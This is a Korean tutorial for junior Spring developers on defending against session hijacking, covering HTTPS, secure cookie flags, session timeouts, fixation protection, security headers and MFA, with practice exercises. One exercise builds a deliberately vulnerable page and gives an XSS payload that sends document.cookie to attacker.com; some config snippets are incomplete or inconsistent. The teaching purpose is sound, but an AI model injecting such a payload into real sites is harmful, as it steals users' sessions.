세션 하이재킹은 공격자가 사용자의 세션 정보를 탈취하여 해당 사용자의 권한으로 시스템에 접근하는 공격 방법을 말합니다. 웹 애플리케이션에서는 일반적으로 사용자의 인증 후 세션 ID를 발급하여 사용자를 식별하고 상태를 유지합니다. 이 세션 ID를 탈취하면, 공격자는 마치 해당 사용자인 것처럼 애플리케이션을 사용할 수 있게 됩니다.
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.requiresChannel()
.anyRequest()
.requiresSecure();
}
}
@Bean
public HttpSessionStrategy httpSessionStrategy() {
CookieSerializer serializer = new DefaultCookieSerializer();
serializer.setUseHttpOnlyCookie(true);
serializer.setUseSecureCookie(true);
serializer.setSameSite("Strict");
return new HeaderHttpSessionStrategy();
}
@Configuration
public class HttpSessionConfig {
@Bean
public ServletContextInitializer servletContextInitializer() {
return servletContext -> servletContext.setSessionTimeout(30); // 30분
}
}
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.sessionManagement()
.sessionFixation().newSession();
}
다중 인증(Multi-Factor Authentication) 도입 : 단순히 세션 ID만으로 인증하지 않고, 추가적인 인증 수단을 요구하여 보안을 강화.
Spring 적용 방법
Spring Security와 함께 다양한 MFA 라이브러리를 통합하여 구현할 수 있습니다.
사용자 활동 모니터링 및 알림 : 비정상적인 사용자 활동을 모니터링하고, 의심스러운 행동이 감지되면 알림을 보내거나 세션을 종료
Spring 적용 방법
사용자 활동을 로깅하고, 특정 조건에 따라 세션을 만료시키는 필터를 구현할 수 있습니다.
@Component
public class SessionActivityListener implements HttpSessionListener {
@Override
public void sessionCreated(HttpSessionEvent event) {
// 세션 생성 시 로깅
}
@Override
public void sessionDestroyed(HttpSessionEvent event) {
// 세션 종료 시 로깅
}
}
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.xssProtection()
.and()
.contentSecurityPolicy("script-src 'self'");
}
취업 준비 중인 신입 Java/Spring 백엔드 개발자라면, 세션 하이재킹 방어에 대한 이론적인 이해뿐만 아니라 실제로 손을 움직여 실습해보는 것이 매우 중요합니다. 이를 통해 보안 개념을 깊이 있게 이해하고, 실제 프로젝트에 적용할 수 있는 능력을 키울 수 있습니다. 아래에 세션 하이재킹 방어와 관련된 실습 과제를 단계별로 제안드립니다.
Spring Initializr를 사용하여 새로운 프로젝트 생성
사용자 엔티티 및 리포지토리 생성
@Entity
public class User {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@Column(unique = true)
private String username;
private String password;
// Getters and Setters
}
public interface UserRepository extends JpaRepository<User, Long> {
Optional<User> findByUsername(String username);
}
Spring Security 설정
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Autowired
private UserService userService;
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userService).passwordEncoder(new BCryptPasswordEncoder());
}
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.anyRequest().authenticated()
.and()
.formLogin()
.permitAll()
.and()
.logout()
.permitAll();
}
}
사용자 등록 및 로그인 기능 구현
SSL 인증서 생성 (개발용)
keytool -genkeypair -alias springboot -keyalg RSA -keysize 2048 -storetype PKCS12 -keystore springboot.p12 -validity 3650
Spring Boot 애플리케이션에 SSL 설정 추가
# application.yml
server:
port: 8443
ssl:
key-store: classpath:springboot.p12
key-store-password: yourpassword
key-store-type: PKCS12
key-alias: springboot
HTTP 요청을 HTTPS로 리디렉션 설정
@Configuration
public class HttpToHttpsRedirectConfig {
@Bean
public ServletWebServerFactory servletContainer() {
TomcatServletWebServerFactory tomcat = new TomcatServletWebServerFactory() {
@Override
protected void postProcessContext(Context context) {
SecurityConstraint securityConstraint = new SecurityConstraint();
securityConstraint.setUserConstraint("CONFIDENTIAL");
SecurityCollection collection = new SecurityCollection();
collection.addPattern("/*");
securityConstraint.addCollection(collection);
context.addConstraint(securityConstraint);
}
};
tomcat.addAdditionalTomcatConnectors(redirectConnector());
return tomcat;
}
private Connector redirectConnector() {
Connector connector = new Connector(TomcatServletWebServerFactory.DEFAULT_PROTOCOL);
connector.setScheme("http");
connector.setPort(8080);
connector.setSecure(false);
connector.setRedirectPort(8443);
return connector;
}
}
HttpOnly, Secure, SameSite 속성을 설정하여 세션 하이재킹 공격을 방어합니다.세션 쿠키 속성 설정
@Configuration
public class SessionConfig {
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setUseHttpOnlyCookie(true);
serializer.setUseSecureCookie(true);
serializer.setSameSite("Strict");
serializer.setCookieName("JSESSIONID");
return serializer;
}
}
Spring Session 사용 (옵션)
세션 타임아웃 설정
@Configuration
public class HttpSessionConfig {
@Bean
public ServletContextInitializer servletContextInitializer() {
return servletContext -> servletContext.setSessionTimeout(30); // 30분
}
}
타임아웃 테스트
Spring Security의 세션 고정 보호 확인
추가 설정 (필요 시)
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.sessionManagement()
.sessionFixation().newSession()
.and()
// 기타 설정
}
}
취약한 페이지 생성
<!-- templates/vulnerable.html -->
<form method="GET" action="/vulnerable">
<input type="text" name="input" />
<button type="submit">Submit</button>
</form>
<p>입력값: <span th:text="${param.input}"></span></p>
XSS 공격 시도
<script>document.location='http://attacker.com?cookie='+document.cookie</script>와 같은 스크립트를 입력하여 세션 ID를 탈취하려고 시도합니다.XSS 방어 구현
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.contentSecurityPolicy("script-src 'self'")
.and()
.xssProtection()
.and()
// 기타 설정
}
}
방어 후 테스트
MFA 라이브러리 선택 및 통합
MFA 설정
로그인 플로우 수정
세션 리스너 구현
@Component
public class SessionActivityListener implements HttpSessionListener {
@Override
public void sessionCreated(HttpSessionEvent event) {
System.out.println("세션 생성: " + event.getSession().getId());
}
@Override
public void sessionDestroyed(HttpSessionEvent event) {
System.out.println("세션 종료: " + event.getSession().getId());
}
}
활동 로깅 및 비정상 활동 감지
세션 종료 로직 추가
@Service
public class CustomSessionService {
public void invalidateSession(HttpSession session) {
session.invalidate();
}
// 비정상 활동 감지 로직 구현
}
보안 헤더 설정
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.xssProtection()
.block(true)
.and()
.contentSecurityPolicy("default-src 'self'; script-src 'self'")
.and()
.frameOptions().deny()
.and()
.httpStrictTransportSecurity()
.maxAgeInSeconds(31536000)
.includeSubDomains(true)
.and()
// 기타 설정
}
}
보안 헤더 테스트
프로젝트 설계
보안 기능 통합
보안 테스트 수행
문서화
위의 실습 과제들은 세션 하이재킹 방어를 포함한 웹 애플리케이션 보안의 다양한 측면을 실습할 수 있도록 구성되었습니다. 각 단계마다 코드를 작성하고, 설정을 적용하며, 실제로 동작하는 애플리케이션을 통해 보안 개념을 체득할 수 있습니다. 이러한 실습을 통해 보안에 대한 이해도를 높이고, 면접 시 실질적인 경험을 어필할 수 있는 좋은 준비가 될 것입니다.
추가적으로, GitHub에 자신의 프로젝트를 공개하고, README 파일에 구현한 보안 기능과 학습 내용을 상세히 기록해두면 포트폴리오로 활용할 수 있어 더욱 좋습니다. 실습 과정에서 궁금한 점이나 어려운 부분이 생기면 언제든지 질문해 주세요!